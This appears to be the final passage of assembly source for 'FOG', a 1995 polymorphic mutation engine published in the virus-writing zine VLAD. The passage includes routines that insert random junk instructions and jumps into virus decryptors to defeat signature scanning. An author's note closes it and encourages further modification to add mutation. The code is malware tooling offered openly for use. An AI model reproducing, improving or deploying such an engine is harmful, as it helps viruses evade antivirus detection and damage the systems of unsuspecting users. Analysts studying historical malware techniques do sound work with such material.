s13: ; ³
loop store_one ; ³
call find_reg ; ³
call rnd_ff ; ÃÄ dec/inc reg
and al, 08h ; ³
or al, dl ; ³
or al, 40 ; ³
ret ; ³
;ÄÄÄÄÄÄÄ´
store_one: ; ³
mov ax, cx ; ÃÄ look up one byte
add al, (offset i_data.onebytes - offset i_data)-1;³ instruction in table
xlat ; ³
ret ;ÄÄÄÄÄÄÄÙ
endp flow_controller
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Junk instructions
proc junk
push ax cx si
mov cl, [ id . gb_switches ] ;cl==configured amount of
test cl, sw_001_gi ;junk
jz @@1
and [ id . in_switches ], not sw_nojmps
or [ id . lastjmp ], -1 ;prime for jmp generation
call rnd ;al/cl = [1..cl]
new_instr: ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;ÄÄÄÄÄÄÄ¿ ³
cmp cl, 3 ; ³ ³
ja @@2 ; ³ ³
or [ id . in_switches ], sw_nojmps; ³ ³
@@2: ; ³ ³
; ³ ³
mov si, [ id . lastjmp ] ; ³ ³
inc si ; ³ ³
jz @@5 ; ³ ³
lea ax, [ di - 1 ] ; ³ ³
sub ax, si ; ³ ³
; ³ ³
or al, al ; ³ ³
jz @@5 ; ÃÄ logistics ³
cmp ax, 007fh ; ³ dealing with ³
ja @@5 ; ³ the junk ³
cmp al, 70h ; ³ jmps and how ÃÄ junk
ja @@3 ; ³ they are ³ loop
cmp cl, 3 ; ³ updated to ³
jbe @@4 ; ³ show a proper³
call rnd_z ; ³ offset. ³
jnz @@5 ; ³ ³
@@3: ; ³ ³
and [ id . in_switches ],not sw_nojmps;³ ³
@@4: ; ³ ³
mov [ es : si ], al ; ³ ³
@@5: ;ÄÄÄÄÄÄÄÙ ³
; ³
; ³
push cx ; ³
call flow_controller ;gen. 1 junk instr. ³
pop cx ; ³
; ³
loop new_instr ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
@@1:
pop si cx ax
ret ;return: random amount (between 0 and
;the configured max number) of junk
;instr. in decryptor
endp junk
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Data work area
i_data datstruc <>
end_fog = $+1
ends code
end
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
;
; Feel free to modify this code in any way possible, as this
; will add an extra level of mutation. However, please don't
; use the name FOG on any modified versions. And; look out for
; fog 2.0 coming soon to a zine near you.
;
; Eclipse, Queensland, June 1995
;
;
;
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
- VLAD #5 INDEX -